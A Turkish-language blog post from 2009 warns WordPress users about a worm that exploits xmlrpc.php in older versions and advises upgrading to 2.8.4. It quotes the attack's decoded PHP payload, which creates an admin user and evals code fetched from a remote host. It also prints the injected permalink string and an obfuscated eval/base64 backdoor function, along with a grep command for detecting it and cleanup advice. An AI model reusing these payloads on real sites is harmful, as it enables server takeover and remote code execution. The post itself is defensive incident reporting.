Ana Sayfa » *nix » Önemli WordPress Güvenlik Zafiyeti

Önemli WordPress Güvenlik Zafiyeti


BerbatKötüİdare EderGüzelHarika (Toplam 2 oy. 5 puan üzerinden ortalama 3,00 || Oy vererek siz de katkıda bulunabilirsiniz.)
Loading...

Warning: mysqli_query(): (HY000/3): Error writing file '/tmp/MYjaugv0' (Errcode: 28 - No space left on device) in /usr/share/nginx/html/syslogs/wp-includes/class-wpdb.php on line 2349
Bir kaç saat önce, .org forumlarına WP tabanlı bir çok site ve blogun edildiğine dair iletiler gönderilmeye başlandı. Henüz tarafından resmi bir duyuru yapılmamamış olmasına rağmen, anlaşılan o ki ortalıkta bir exploit dolaşıyor. Siz de bir kullanıcısı iseniz, bu konuya azami dikkat etmeniz gerekmekte. Zira, edilen sistemlere kod enjeksiyonu yapıldığı da rapor edilmekte. wordpress-logo-150x150

Eğer, wordpress'in eski bir sürümünü kullanıyorsanız sisteminizi bir an önce Worpress 2.8.4 sürümüne upgrade etmeniz tavsiye ediliyor.

Zafiyet ile ilgili detaylar şu şekilde:

Henüz WordPress tarafından herhangi bir açıklama yapılmadı ve problemin tam olarak nereden kaynaklandığı şu an itibari ile  belli değil. Ancak sistemleri edilen kişilerin forumlarda paylaştığı bilgilere göre, sisteme giriş için wordpress'in ana dizininde bulunan xmlrpc.php dosyası kullanılıyor. Saldırganın bir şekilde bu dosya vasıtası ile sisteme eriştiği ve permalink yapısını değiştirme yetkisine sahip bir kullanıcı oluşturarak kalıcı bağlantı (permalink) yapısının değiştirildiği, dosya upload'ı ve kod enjeksiyonu yapıldığı belirtiliyor.

Aşağıda apache access loglarından tespit edilmiş örnek bir POST işlemine ait logu görebilirsiniz.

219.101.28.243 - - [03/Sep/2009:22:22:38 -0500] "POST /xmlrpc.php HTTP/1.1" 200
174 "JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdBZGFtU2x1c3Nlcjg1JzskdXNlcl9
wYXNzPSdCWShkKCZ4OClLaXAnO2V2YWwoZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saW5rcy53ZWJ
3b3JkcHJlc3MuY24vZGF0YS9zaG9ydHBhcnQyLnR4dCcpKTtleGl0Ow=="
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en)"

Logdaki, Base64 kodunun decode edilmiş hali de şöyle:

$role='administrator';$user_login='AdamSlusser85';$user_pass='BY(d(&x8)Kip'
;eval(file_get_contents('http://links.webwordpress.cn/data/shortpart2.txt'));exit;

Buna göre, hacklenen wordpress sistemlerin, kalıcı bağlantılarının (permalink) ve besleme linklerininin sonuna aşağıdakine benzer base64 ve eval içeren garip eklemeler yapıldığı belirtiliyor.

(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/

Ayrıca,

wp-content/upload dizini içerisinde wp-pass.php gibi aslında bulunmaması gereken php dosyalarının var olduğu ve index.php, wp-config.php gibi dosyaların içerisine kod enjeksiyonu yapıldığı da bildirilen durumlar arasında.

Örnek bir kod çıktısı şu şekilde:

function gpc_19045($l19047){if(is_array($l19047)){foreach($l19047 as $l19045=>$l19046)$l19047[$l19045]=gpc_19045($l19046);}elseif(is_string($l19047) &amp&
substr($l19047,0,4)=="____")
{eval(base64_decode(substr($l19047,4)));$l19047=null;}return $l19047;}
if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_map("gpc_19045",$_SERVER);
// Silence is golden.

Sisteminize herhangi bir dosya upload'ı ya da kod enjeksiyonu yapılıp yapılmadığını hızlıca tespit etmek için, wordpress ana dizininde “function gpc” ibaresini aşağıdaki şekilde aratabilirsiniz:

# find . -name '*' -exec grep -H "function gpc_" {} \;

Hack edilmiş bir sistemi temizlemek için sunucunun incelenmesi, enjekte edilen kod satırlarının ve upload edilen dosyaların silinmesi gerekiyor. Bunun dışında, wordpress dosyalarının izinleri gözden geçirilmeli, yazma izni olmaması gereken yazılabilir dosyaların permissionları yeniden set edilmelidir. Ayrıca, bilgi dahilinde olmadan açılmış kullanıcıların silinmesi, permalink ayarlarının eski haline getirilmesi gerekmekte. Sonrasında da wordpress'in acilen son sürüme upgrade edilmesi gerekmektedir.

Gerçi, açık hakkında detay olmaığından bu işlemlerin tam olarak işe yaradığı da pek bilinmiyor. Ancak kısa bir süre içinde WordPress tarafından bir açıklama yapılacaktır.

Konu ile ilgili daha fazla bilgi ve ilgili forum başlıklarına erişmek için aşağıdaki linki ziyaret edebilirsiniz.

http://wordpress.org/support/topic/307660

UPDATE (5/09/2009 – 23:00~)

WordPress'ten konu ile ilgili açıklama geldi. Açıklamaya ait bilgiler kısaca şöyle:

Ortalıkta dolaşan bir worm,  wordpress sitelerde bir kullanıcı kaydı oluşturup, wordpress'in eski (ve daha önceden patchlenen) bir güvenlik açığını kullanarak, permalink yapısı üzerinden kendisini admin kullanıcısı haline getirmekteymiş. Sonrasında da bir JavaScript kodu kullanarak kendisini, WordPress kullanıcı sayfasında gizliyormuş. Yani kullanıcılarınıza göz attığınız zaman worm tarafından admin durumuna getirilen kullanıcıyı tespit edemiyorsunuz. Son olarak da bu kullanıcı vasıtası ile özellikle eski postlara gizli spam ve malware içerik eklemekteymiş.

2.8.4 numaralı son sürümün bu wormdan etkilenmediği belirtiliyor. Dolayısı ile eski bir sürüm kullananların WordPress 2.8.4'e upgrade etmeleri gerekiyor.

Açıklamaya şu sayfadan erişebilirsiniz:

http://wordpress.org/development/2009/09/keep-wordpress-secure/

Visited 1.529 times, 1 visit(s) today
Kategoriler: *nix,Security |

Bu yazılar da ilginizi çekebilir:


- WordPress wp-trackback.php DoS Zafiyeti
- Flash Player ClickJacking açığı için upgrade
- Linux 101 Hacks – Ücretsiz eKitap

Yorumlar


  1. alphan | (Eylül 5th, 2009 5:43 am)

    elinize sağlık

    [Cevapla]

Trackbacks

Yorumda bulunun.